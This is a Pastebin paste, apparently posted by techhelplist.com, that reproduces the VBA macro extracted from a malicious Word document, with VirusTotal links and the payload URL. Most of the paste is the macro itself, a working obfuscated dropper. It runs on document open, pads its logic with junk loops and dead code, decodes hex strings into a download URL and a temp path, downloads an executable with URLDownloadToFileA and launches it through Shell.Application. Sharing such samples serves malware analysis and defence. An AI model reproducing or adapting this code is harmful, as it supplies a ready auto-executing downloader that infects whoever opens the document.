Advertisement
Guest User

Untitled

a guest
Dec 23rd, 2014
515
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.57 KB | None | 0 0
  1. hi from techhelplist.com
  2.  
  3. macro from malicious .doc with macro:
  4. https://www.virustotal.com/en/file/211fd58aea279d3c65b46ec8bced1fe0fb63b43d0ca32a6868af651d68335d9c/analysis/
  5.  
  6. downloads: jasoncurtis.co.uk/js/bin.exe
  7. https://www.virustotal.com/en/file/de25222783cdcbe20ca8d8d9a531f150387260e5297f672474141227eeff7773/analysis/
  8. -----------------------------------------------------------
  9.  
  10. Rem Attribute VBA_ModuleType=VBADocumentModule
  11. Option VBASupport 1
  12. #If Win64 Then
  13. Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  14. ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
  15. ByVal RPBFSI As Long) As Long
  16. #Else
  17. Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  18. ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
  19. ByVal RPBFSI As Long) As Long
  20. #End If
  21.  
  22. Sub azaza()
  23. fdigjkf
  24. End Sub
  25. Sub AutoOpen()
  26. azaza
  27. End Sub
  28. Sub Workbook_Open()
  29. azaza
  30. End Sub
  31. Sub fdigjkf()
  32. Dim RJkZmwMk As Integer
  33. For RJkZmwMk = 0 To 2
  34. Dim gOBzOgqU As Integer
  35. For gOBzOgqU = 0 To 2
  36. If 955689 = 955689 + 1 Then End
  37. If 3474 < 96 Then
  38. MsgBox (HexToString("5677734F6D61436F3138"))
  39. End If
  40. If Len(HexToString("68766372514F4A7237393238")) = Len(HexToString("476B554868716964")) Then
  41. MsgBox (HexToString("4572726F7220212121"))
  42. End If
  43. DoEvents
  44.  
  45. Next gOBzOgqU
  46. If 685526 = 685526 + 1 Then End
  47. If 6625 < 25 Then
  48. MsgBox (HexToString("674E6B646E506D613434"))
  49. End If
  50. If Len(HexToString("43697476567A577434363732")) = Len(HexToString("474A714567704E4D")) Then
  51. MsgBox (HexToString("4572726F7220212121"))
  52. End If
  53. DoEvents
  54.  
  55. Next RJkZmwMk
  56. Dim lszHAqCJ As Integer
  57. For lszHAqCJ = 0 To 5
  58. If 854281 = 854281 + 1 Then End
  59. If 6253 < 58 Then
  60. MsgBox (HexToString("566379706365674C3333"))
  61. End If
  62. If Len(HexToString("43506D647A746D7533323139")) = Len(HexToString("696F774F654C6652")) Then
  63. MsgBox (HexToString("4572726F7220212121"))
  64. End If
  65. DoEvents
  66.  
  67. Next lszHAqCJ
  68. If 183441 = 183441 + 1 Then End
  69. If 5497 < 78 Then
  70. MsgBox (HexToString("415A5647447743683834"))
  71. End If
  72. If Len(HexToString("4A4D47496279494432343534")) = Len(HexToString("494557444866445A")) Then
  73. MsgBox (HexToString("4572726F7220212121"))
  74. End If
  75. SourceName = HexToString("687474703A2F2F6A61736F6E6375727469732E636F2E756B2F6A732F62696E2E657865")
  76.  
  77.  
  78. Dim DHVtTdBh As Integer
  79. For DHVtTdBh = 0 To 9
  80. Dim cObzsaQX As Integer
  81. For cObzsaQX = 0 To 9
  82. If 439747 = 439747 + 1 Then End
  83. If 4332 < 16 Then
  84. MsgBox (HexToString("46544C74726F42493831"))
  85. End If
  86. If Len(HexToString("534C6F694971745732343838")) = Len(HexToString("566B70524F42566C")) Then
  87. MsgBox (HexToString("4572726F7220212121"))
  88. End If
  89. DoEvents
  90.  
  91. Next cObzsaQX
  92. If 668923 = 668923 + 1 Then End
  93. If 3566 < 69 Then
  94. MsgBox (HexToString("6B50534F6C4155743431"))
  95. End If
  96. If Len(HexToString("5965454579736C4137323139")) = Len(HexToString("716A6E6B4B556154")) Then
  97. MsgBox (HexToString("4572726F7220212121"))
  98. End If
  99. DoEvents
  100.  
  101. Next DHVtTdBh
  102. Dim jceDHuHg As Integer
  103. For jceDHuHg = 0 To 8
  104. If 511345 = 511345 + 1 Then End
  105. If 8831 < 52 Then
  106. MsgBox (HexToString("5A564A66636C77773634"))
  107. End If
  108. If Len(HexToString("4D4E7A494661686833353734")) = Len(HexToString("6C4D64776C415976")) Then
  109. MsgBox (HexToString("4572726F7220212121"))
  110. End If
  111. DoEvents
  112.  
  113. Next jceDHuHg
  114. If 966153 = 966153 + 1 Then End
  115. If 9431 < 53 Then
  116. MsgBox (HexToString("49446346687173773732"))
  117. End If
  118. If Len(HexToString("6A57714E445A516237343837")) = Len(HexToString("6F526A7465504868")) Then
  119. MsgBox (HexToString("4572726F7220212121"))
  120. End If
  121. Destination = Environ(HexToString("54454D50")) & HexToString("5C3156324D555932585759534658512E657865")
  122.  
  123. Dim bbkElRqJ As Integer
  124. For bbkElRqJ = 0 To 1
  125. Dim yFrPalZL As Integer
  126. For yFrPalZL = 0 To 3
  127. If 328237 = 328237 + 1 Then End
  128. If 6119 < 57 Then
  129. MsgBox (HexToString("6B79546F727679703739"))
  130. End If
  131. If Len(HexToString("5645424D564B634834313636")) = Len(HexToString("6F7A4E6A42556A64")) Then
  132. MsgBox (HexToString("4572726F7220212121"))
  133. End If
  134. DoEvents
  135.  
  136. Next yFrPalZL
  137. If 132136 = 132136 + 1 Then End
  138. If 1189 < 35 Then
  139. MsgBox (HexToString("6361476C5A664F723838"))
  140. End If
  141. If Len(HexToString("6C525358456B554C37313436")) = Len(HexToString("564B495068446743")) Then
  142. MsgBox (HexToString("4572726F7220212121"))
  143. End If
  144. DoEvents
  145.  
  146. Next bbkElRqJ
  147. Dim BZUmTvUs As Integer
  148. For BZUmTvUs = 0 To 2
  149. If 272823 = 272823 + 1 Then End
  150. If 2853 < 81 Then
  151. MsgBox (HexToString("6E797969557159763635"))
  152. End If
  153. If Len(HexToString("626C6D716473535138383139")) = Len(HexToString("504B77556661546F")) Then
  154. MsgBox (HexToString("4572726F7220212121"))
  155. End If
  156. DoEvents
  157.  
  158. Next BZUmTvUs
  159. If 985756 = 985756 + 1 Then End
  160. If 6833 < 83 Then
  161. MsgBox (HexToString("5461686C7461706B3734"))
  162. End If
  163. If Len(HexToString("576C69664B51584731353636")) = Len(HexToString("6255727A4575454C")) Then
  164. MsgBox (HexToString("4572726F7220212121"))
  165. End If
  166. R = URLDownloadToFileA(0&, SourceName, Destination, 0&, 0&)
  167.  
  168. Dim IvVtEwhF As Integer
  169. For IvVtEwhF = 0 To 8
  170. Dim JmFMnIxK As Integer
  171. For JmFMnIxK = 0 To 4
  172. If 731477 = 731477 + 1 Then End
  173. If 5925 < 46 Then
  174. MsgBox (HexToString("4A70476D7A5342453936"))
  175. End If
  176. If Len(HexToString("487874635944744A32393732")) = Len(HexToString("6157794D555A4266")) Then
  177. MsgBox (HexToString("4572726F7220212121"))
  178. End If
  179. DoEvents
  180.  
  181. Next JmFMnIxK
  182. If 522828 = 522828 + 1 Then End
  183. If 2294 < 56 Then
  184. MsgBox (HexToString("7368616E4A6C76783337"))
  185. End If
  186. If Len(HexToString("41494B6D4572714C39323531")) = Len(HexToString("7958476F68624B43")) Then
  187. MsgBox (HexToString("4572726F7220212121"))
  188. End If
  189. DoEvents
  190.  
  191. Next IvVtEwhF
  192. Dim PokTrFAq As Integer
  193. For PokTrFAq = 0 To 3
  194. If 926197 = 926197 + 1 Then End
  195. If 3188 < 27 Then
  196. MsgBox (HexToString("61696D725A597A713439"))
  197. End If
  198. If Len(HexToString("5954474778616C4A31313535")) = Len(HexToString("4A72477178486467")) Then
  199. MsgBox (HexToString("4572726F7220212121"))
  200. End If
  201. DoEvents
  202.  
  203. Next PokTrFAq
  204. If 959838 = 959838 + 1 Then End
  205. If 9367 < 37 Then
  206. MsgBox (HexToString("776659706B6641723731"))
  207. End If
  208. If Len(HexToString("6B4A5A536C6B764C37333234")) = Len(HexToString("5874766E74447943")) Then
  209. MsgBox (HexToString("4572726F7220212121"))
  210. End If
  211. Set fdfgdfeer4gf = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  212.  
  213. fdfgdfeer4gf.Open Destination
  214. End Sub
  215.  
  216.  
  217. Public Function HexToString(ByVal fSoeUjt As String) As String
  218. Dim cOBcy As String
  219. Dim aGZKOocaTmjFc As String
  220. Dim GCNQgBCMVQ As Long
  221. For GCNQgBCMVQ = 1 To Len(fSoeUjt) Step 2
  222.  
  223. GoTo ypgcwVuP
  224. Dim PyXKOlVZ As String
  225. Open "WFZLQU.WQZ" For Binary As 61
  226.  
  227. GoTo EcTiprEi
  228. Dim olfZxvmN As String
  229. Open "UMQSTP.UJQ" For Binary As 23
  230. Put #23, , olfZxvmN
  231. Close #23
  232. EcTiprEi:
  233.  
  234. Put #61, , PyXKOlVZ
  235.  
  236. GoTo SxsOmWIy
  237. Dim kkLtIhbV As String
  238. Open "QLANPT.WSB" For Binary As 33
  239. Put #33, , kkLtIhbV
  240. Close #33
  241. SxsOmWIy:
  242.  
  243. Close #61
  244.  
  245. GoTo UNIWzNhk
  246. Dim dWjjhmup As String
  247. Open "OISYAI.OYD" For Binary As 28
  248. Put #28, , dWjjhmup
  249. Close #28
  250. UNIWzNhk:
  251.  
  252. ypgcwVuP:
  253.  
  254.  
  255. GoTo GowCpKKx
  256. Dim lrekcdOf As String
  257. Open "SDYYTR.SPY" For Binary As 39
  258. Put #39, , lrekcdOf
  259. Close #39
  260. GowCpKKx:
  261.  
  262. cOBcy = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(fSoeUjt, GCNQgBCMVQ, 2)))
  263.  
  264. GoTo rmmXlBRJ
  265. Dim OhejTlwO As String
  266. Open "MLTYOU.RQE" For Binary As 62
  267.  
  268. GoTo CoWXDRlP
  269. Dim ZrEkNNpZ As String
  270. Open "VCCFOH.UGW" For Binary As 74
  271. Put #74, , ZrEkNNpZ
  272. Close #74
  273. CoWXDRlP:
  274.  
  275. Put #62, , OhejTlwO
  276.  
  277. GoTo KSlimPNX
  278. Dim QeoLsJgb As String
  279. Open "WSOMBL.FBR" For Binary As 79
  280. Put #79, , QeoLsJgb
  281. Close #79
  282. KSlimPNX:
  283.  
  284. Close #62
  285.  
  286. GoTo JXbUkQce
  287. Dim OdhliKSY As String
  288. Open "MJSUVL.ROP" For Binary As 62
  289. Put #62, , OdhliKSY
  290. Close #62
  291. JXbUkQce:
  292.  
  293. rmmXlBRJ:
  294.  
  295.  
  296. GoTo POelWJZw
  297. Dim ENMrSVJB As String
  298. Open "JQABDX.AEB" For Binary As 59
  299. Put #59, , ENMrSVJB
  300. Close #59
  301. POelWJZw:
  302.  
  303. aGZKOocaTmjFc = aGZKOocaTmjFc & cOBcy
  304. Next GCNQgBCMVQ
  305.  
  306. GoTo iCcPqWja
  307. Dim DKytcjiL As String
  308. Open "XUUNTY.SOO" For Binary As 77
  309.  
  310. GoTo kLqGaseY
  311. Dim XGKpfUWv As String
  312. Open "ATNZAF.PCV" For Binary As 87
  313. Put #87, , XGKpfUWv
  314. Close #87
  315. kLqGaseY:
  316.  
  317. Put #77, , DKytcjiL
  318.  
  319. GoTo dcUaIkQK
  320. Dim JlgwWSZP As String
  321. Open "VMQIJJ.VJS" For Binary As 83
  322. Put #83, , JlgwWSZP
  323. Close #83
  324. dcUaIkQK:
  325.  
  326. Close #77
  327.  
  328. GoTo qUFnTloB
  329. Dim GZwWKDNJ As String
  330. Open "CBGWHJ.FZJ" For Binary As 75
  331. Put #75, , GZwWKDNJ
  332. Close #75
  333. qUFnTloB:
  334.  
  335. iCcPqWja:
  336.  
  337.  
  338. GoTo ebWXGwas
  339. Dim IwEjzJLe As String
  340. Open "AYCFPS.PVW" For Binary As 87
  341. Put #87, , IwEjzJLe
  342. Close #87
  343. ebWXGwas:
  344.  
  345. HexToString = aGZKOocaTmjFc
  346. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement